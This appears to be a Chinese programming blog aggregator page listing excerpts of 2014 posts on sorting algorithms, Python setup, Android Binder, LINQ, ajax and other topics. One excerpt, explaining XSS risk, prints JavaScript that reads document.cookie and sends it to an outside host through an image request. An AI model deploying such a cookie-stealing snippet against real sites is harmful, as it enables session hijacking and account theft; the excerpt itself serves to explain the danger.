一、算法思想描述1)令i = L,j = R,将基准数挖出形成第一个坑(基准数可以选择第一个位置上的数作为基准数,也可以选择其他位置上的数作为基准数)。2)j-- 。从后往前扫,找到第一个比基准数小的数。并将其“挖出”,填到上一个形成的坑中arr[i]3)i++ 。 从前往后扫,找到第一个比基准数大的数。并将其“挖出”,填到上一个形成的坑中arr[j]4)不断地重复2)、3)直到i == j,...
分类:
其他好文 时间:
2014-05-22 06:48:32
阅读次数:
208
话说最近听说 Python 很牛, 很强大, 至于究竟有多强大, 俺作为一枚菜鸟也就不好发表太多评价.
言归正传, 本文教你在eclipse中安装 Python 插件, 下面我们就跟着步骤一起做吧。
1. 首先安装window下Python环境:
下载地址: https://www.python.org/downloads/
我安装的是: python-3.4....
分类:
编程语言 时间:
2014-05-22 07:10:10
阅读次数:
314
Red and Black
Time Limit: 1000MS
Memory Limit: 30000K
Total Submissions: 21482
Accepted: 11488
Description
There is a rectangular room, covered with square tiles. Eac...
分类:
其他好文 时间:
2014-05-22 07:09:25
阅读次数:
237
在类的定义中,成员主要分为两类:静态成员以及非静态...
分类:
其他好文 时间:
2014-05-22 10:04:44
阅读次数:
170
xss的概念就不用多说了,它的危害是极大的,这就意味着一旦你的网站出现xss漏洞,就可以执行任意的js代码,最可怕的是攻击者利用js获取cookie或者session劫持,如果这里面包含了大量敏感信息(身份信息,管理员信息)等,那完了。。。
如下js获取cookie信息:
url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src=’http://www.******.c...
分类:
其他好文 时间:
2014-05-22 08:24:14
阅读次数:
273
在Java中,不要在父类的构造函数中调用会被子类重写的方法,否则运行时会遇到意想不到的错误。...
分类:
编程语言 时间:
2014-05-22 11:28:36
阅读次数:
232
本文参考《Android系统源代码情景分析》,作者罗升阳
一、测试代码:
~/Android/external/binder/server
----FregServer.cpp
~/Android/external/binder/common
----IFregService.cpp...
分类:
移动开发 时间:
2014-05-22 10:27:56
阅读次数:
367
Python是用C编写的高级的、面向对象的、开放源代码的编程语言。所以又叫CPython.
Jython是一种完整的语言,而不是一个Java翻译器或仅仅是一个Python编译器,它是一个Python语言在Java中的完全实现。Jython也有很多从CPython中继承的模块库。最有趣的事情是Jython不像CPython或其他任何高级语言,它提供了对其实现语言的一切存取。所以Jython不仅给你...
分类:
其他好文 时间:
2014-05-22 07:08:41
阅读次数:
305
经典排序算法:希尔排序法 让算法会说话,让程序自己告诉我们怎么回事......
分类:
其他好文 时间:
2014-05-22 07:29:06
阅读次数:
203
http://acm.hdu.edu.cn/showproblem.php?pid=3832
大致题意:给出n个灯的位置以及每个灯照亮的范围。问最后至多可以熄灭多少盏灯使得编号为1,2,3的点连通。
思路:若任意两灯的照亮范围相交,那么两点之间建边,权值为1。最后枚举一点使它到1,2,3点的距离最近,那么该距离之和+1(还有该点本身)代表必须不能熄灭的灯,那么熄灭的灯数就求出来...
分类:
其他好文 时间:
2014-05-22 08:46:23
阅读次数:
229
本文出自:http://blog.csdn.net/svitter
一开始做这个实验真是觉得各种简单- -就是一张状态转换图不停的跳来跳去。。后来发现我太天真了。。一个搞来搞去搞不清楚的bug是因为老师给的状态转换图坑了 - - 当然这肯定不怪老师因为我一开始做的时候居然没发现= =。
状态转换图我就暂且不贴了,另外两篇文章的地址如下:
Compiler_词法分析_表驱动法
C...
分类:
其他好文 时间:
2014-05-22 11:27:59
阅读次数:
273
设计模式这门课程我们之前都学过,但通过这次考试准备发现学习上好多问题,以前理解的很不到位,紧紧是浅显的理解,每种模式都了解些,但每种模式的思想了解的不深刻,设计模式这门课程缺乏整体的把控,以至于模式和模式之间的区别和联系有些模糊,通过这次的复习,对设计模式的概念性的理解又深刻了很多,学习知识需要靠的是反复,知识间不断的联系,以考促学,加油!...
分类:
其他好文 时间:
2014-05-22 11:43:24
阅读次数:
212
ajax 使用起来特别的方便,再也不担心浏览器兼容问题了。用ajax调用XML页面中的内容,来生成三级联动,OK废话不多说,跟着我一步步写吧。
首先写一个XML文件。date.xml
武陟
博爱
修武
金水区
二七区
中原区
赵县
正定
平山
围场
丰宁
隆化...
分类:
其他好文 时间:
2014-05-22 10:26:46
阅读次数:
323
1 使用First()/FirstOrDefault()、Last()/LastOrDefault()方法返回序列中的第一个或者最后一个元素时,应该确保序列已经被正确排序。
int[] numbers = { 3, 1, 23, 10, 5, 12, 7, 2, 4};
int first = numbers.First(); //输出3
int firstOrdered = numbers.O...
分类:
其他好文 时间:
2014-05-22 07:35:10
阅读次数:
196